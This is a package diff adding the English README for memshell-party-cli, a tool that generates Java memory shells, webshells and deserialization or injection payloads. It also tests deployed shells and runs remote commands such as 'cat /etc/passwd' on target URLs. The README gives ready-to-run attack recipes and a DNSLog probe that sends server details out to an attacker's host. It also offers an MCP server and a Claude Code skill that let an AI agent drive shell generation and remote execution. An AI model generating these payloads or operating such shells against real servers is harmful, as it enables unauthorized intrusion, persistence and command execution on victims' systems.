memshell-party-cli 0.3.0 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md ADDED
@@ -0,0 +1,389 @@
1
+ # memshell-party-cli
2
+
3
+ English | [中文](README.md)
4
+
5
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
+ same HTTP API that powers `party.mem.mk/ui`.
8
+
9
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
+ > for how you use it.
11
+
12
+ ## Features
13
+
14
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
+ from live, API-driven menus.
16
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
+ scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
+ - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
+ with auto-saved target names ready to reuse.
20
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
+ - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
+ is alive and the credentials work (echo/handshake round-trip).
24
+ - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
+ - **Named targets** — `memparty save` stores shells in projects (with remark + category),
27
+ then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
28
+ - **Operation log** — every gen/probe/connect/exec/save/note/remove operation is appended to
29
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
30
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
31
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
32
+
33
+ ## Install
34
+
35
+ ```bash
36
+ npm install -g memshell-party-cli
37
+ # or run without installing:
38
+ npx memshell-party-cli gen
39
+ ```
40
+
41
+ Requires Node.js >= 18.
42
+
43
+ ## Choosing the backend
44
+
45
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
46
+ default `https://party.mem.mk`.
47
+
48
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
49
+
50
+ ```bash
51
+ memparty --api http://127.0.0.1:8080 gen
52
+ # or
53
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
54
+ ```
55
+
56
+ ## Usage
57
+
58
+ ### Interactive
59
+
60
+ Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
61
+ auto-saved named targets, a whole gen → verify → exec session fits in one go:
62
+
63
+ ```text
64
+ memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
65
+ saved as '192.168.31.222/behinder'
66
+ memparty> exec 192.168.31.222/behinder --cmd whoami
67
+ memparty> list
68
+ memparty> exit
69
+ ```
70
+
71
+ Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
72
+ Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
73
+ The `gen` / `probe` wizards work inside the REPL too:
74
+
75
+ ```bash
76
+ memparty gen # wizard for a memory shell (outside the REPL)
77
+ memparty probe # wizard for a probe shell
78
+ ```
79
+
80
+ The wizard launches automatically when required flags are missing and you're in a terminal.
81
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
82
+
83
+ ### Scripted generation
84
+
85
+ ```bash
86
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
87
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
88
+ --godzilla-pass pass --godzilla-key key --jdk java8
89
+
90
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
91
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
92
+ --godzilla-pass pass --godzilla-key key -o shell.class
93
+
94
+ # Command shell with an explicit encryptor
95
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
96
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
97
+
98
+ # Full JSON response (metadata + payload) for further processing
99
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
100
+ ```
101
+
102
+ `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
103
+
104
+ Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
105
+ pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
106
+
107
+ ### Discovering options
108
+
109
+ ```bash
110
+ memparty config servers # servers and their shell types
111
+ memparty config tools Tomcat # tools + types for one server
112
+ memparty config packers # packer parent/child tree
113
+ memparty config command # Command encryptors & implementation classes
114
+ memparty config servers --json # machine-readable
115
+ ```
116
+
117
+ ### Probe shells
118
+
119
+ ```bash
120
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
121
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
122
+ ```
123
+
124
+ Probe method × content matrix (only these combos are supported by the backend):
125
+
126
+ | Method `-m` | Supported content `-c` |
127
+ |-------------|-------------------------|
128
+ | `DNSLog` | `Server`, `JDK` |
129
+ | `Sleep` | `Server` |
130
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
131
+
132
+ ### Testing a deployed shell
133
+
134
+ `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
135
+ it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
136
+ tunnel handshake) and exits 0 on success, 1 on failure.
137
+
138
+ ```bash
139
+ # Godzilla (defaults: --pass pass --key key)
140
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
141
+
142
+ # Behinder (default: --pass rebeyond)
143
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
144
+
145
+ # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
146
+ memparty connect -u http://target/suo5.jsp -t suo5
147
+ ```
148
+
149
+ Shells generated by MemShellParty are gated by an auth header — the values are in the
150
+ `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
151
+ (the Suo5v2 shell checks it too):
152
+
153
+ ```bash
154
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
155
+ --header-name User-Agent --header-value qSGAJScj
156
+ ```
157
+
158
+ Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
159
+ `--json` for machine-readable output, `--timeout <ms>` (global option).
160
+
161
+ ### Executing commands on a deployed shell
162
+
163
+ `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
164
+ remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
165
+ (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
166
+ class (which picks the shell itself based on the remote `os.name`).
167
+
168
+ ```bash
169
+ # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
170
+ # pass --os windows|linux to skip the detection
171
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
172
+
173
+ # Behinder — the payload detects the OS itself, no extra request
174
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
175
+ ```
176
+
177
+ The gate-header flags are the same as for `connect`; `--json` returns
178
+ `{ ok, tool, url, command, output, durationMs }` for automation.
179
+
180
+ ### Saved targets (projects)
181
+
182
+ Save a shell once, then reference it by name — no more flag soup. Shells live inside
183
+ **projects**: a project groups several shells of one engagement and carries an optional
184
+ `--remark` and `--category`. The store is `~/.memparty/targets.json`.
185
+
186
+ ```bash
187
+ # save (project is created on the fly; --remark/--category are project-level,
188
+ # --shell-remark describes this one shell)
189
+ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
190
+ -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
191
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
192
+
193
+ # list everything (filter with --category <name>)
194
+ memparty list
195
+
196
+ # use: <project>/<shell>, or a bare project name when it holds exactly one shell
197
+ memparty connect hw222/bh9060
198
+ memparty exec hw222 --cmd "whoami"
199
+
200
+ # edit project meta or a shell's remark / clean up
201
+ memparty note hw222 --remark "new remark" --category prod
202
+ memparty note hw222/bh9060 --remark "new shell note"
203
+ memparty remove hw222/bh9060 # one shell
204
+ memparty remove hw222 # the whole project
205
+ ```
206
+
207
+ Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
208
+
209
+ ### Operation log
210
+
211
+ Every operation (gen, probe, connect, exec, save/note/remove) is appended as one JSON
212
+ line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
213
+ plus truncated output. Credentials and payload bytes are never logged.
214
+
215
+ ```bash
216
+ memparty log # latest 50 operations, newest first
217
+ memparty log --category exec # only command executions
218
+ memparty log --target hw222 # everything against one project (or a host substring)
219
+ memparty log --category connect --json
220
+ ```
221
+
222
+ ## Demos
223
+
224
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
225
+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
226
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
227
+ `memparty config packers` first.
228
+
229
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
230
+
231
+ ```bash
232
+ # Listener-based Godzilla shell, single base64 payload to stdout
233
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
234
+ --godzilla-pass pass --godzilla-key key --jdk java8
235
+
236
+ # ...or write the decoded injector .class straight to disk
237
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
238
+ --godzilla-pass pass --godzilla-key key -o shell.class
239
+ ```
240
+
241
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
242
+
243
+ ```bash
244
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
245
+ --godzilla-pass pass --godzilla-key key --jdk java17
246
+ ```
247
+
248
+ ### 3. Pure command-execution shell (RCE)
249
+
250
+ ```bash
251
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
252
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
253
+ ```
254
+
255
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
256
+
257
+ ```bash
258
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
259
+ --godzilla-pass pass --godzilla-key key --jdk java8
260
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
261
+ ```
262
+
263
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
264
+
265
+ ```bash
266
+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
267
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
268
+ --command-param-name cmd --jdk java8
269
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
270
+ # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
271
+ ```
272
+
273
+ ### 6. Drop a JSP file
274
+
275
+ ```bash
276
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
277
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
278
+ ```
279
+
280
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
281
+
282
+ ```bash
283
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
284
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
285
+ ```
286
+
287
+ ### 8. Fingerprint the target first (blind)
288
+
289
+ ```bash
290
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
291
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
292
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
293
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
294
+ ```
295
+
296
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
297
+
298
+ ### Parse a class name
299
+
300
+ ```bash
301
+ memparty parse-classname --file shell.class
302
+ memparty parse-classname <base64-of-class-bytes>
303
+ ```
304
+
305
+ ### Version
306
+
307
+ ```bash
308
+ memparty version # CLI version + backend server version
309
+ ```
310
+
311
+ ## MCP server
312
+
313
+ Run the CLI as an MCP server over stdio:
314
+
315
+ ```bash
316
+ memparty mcp --api http://127.0.0.1:8080
317
+ ```
318
+
319
+ Example Claude Code / Claude Desktop config:
320
+
321
+ ```json
322
+ {
323
+ "mcpServers": {
324
+ "memshell-party": {
325
+ "command": "npx",
326
+ "args": ["-y", "memshell-party-cli", "mcp"],
327
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
328
+ }
329
+ }
330
+ }
331
+ ```
332
+
333
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
334
+ `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
335
+ `exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
336
+
337
+ ## AI skill (Claude Code)
338
+
339
+ The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
340
+ `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
341
+ server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
342
+ guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
343
+
344
+ Install it into a project (or drop it in `~/.claude/skills/` for global use):
345
+
346
+ ```bash
347
+ # from the package root, or after `npm install memshell-party-cli`:
348
+ mkdir -p .claude/skills
349
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
350
+ ```
351
+
352
+ Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
353
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
354
+ the agent to enumerate options first and pick the right packer for the vector.
355
+
356
+ ## Programmatic use
357
+
358
+ The package also ships a typed API client:
359
+
360
+ ```ts
361
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
362
+
363
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
364
+ const res = await client.generateMemShell(
365
+ buildMemShellRequest({
366
+ server: "Tomcat",
367
+ shellTool: "Godzilla",
368
+ shellType: "Listener",
369
+ packer: "DefaultBase64",
370
+ godzillaPass: "pass",
371
+ godzillaKey: "key",
372
+ jdk: "java8",
373
+ }),
374
+ );
375
+ console.log(res.memShellResult.shellClassName, res.packResult);
376
+ ```
377
+
378
+ ## Development
379
+
380
+ ```bash
381
+ npm install
382
+ npm run build # tsup -> dist/
383
+ npm test # vitest
384
+ npm run typecheck # tsc --noEmit
385
+ ```
386
+
387
+ ## License
388
+
389
+ MIT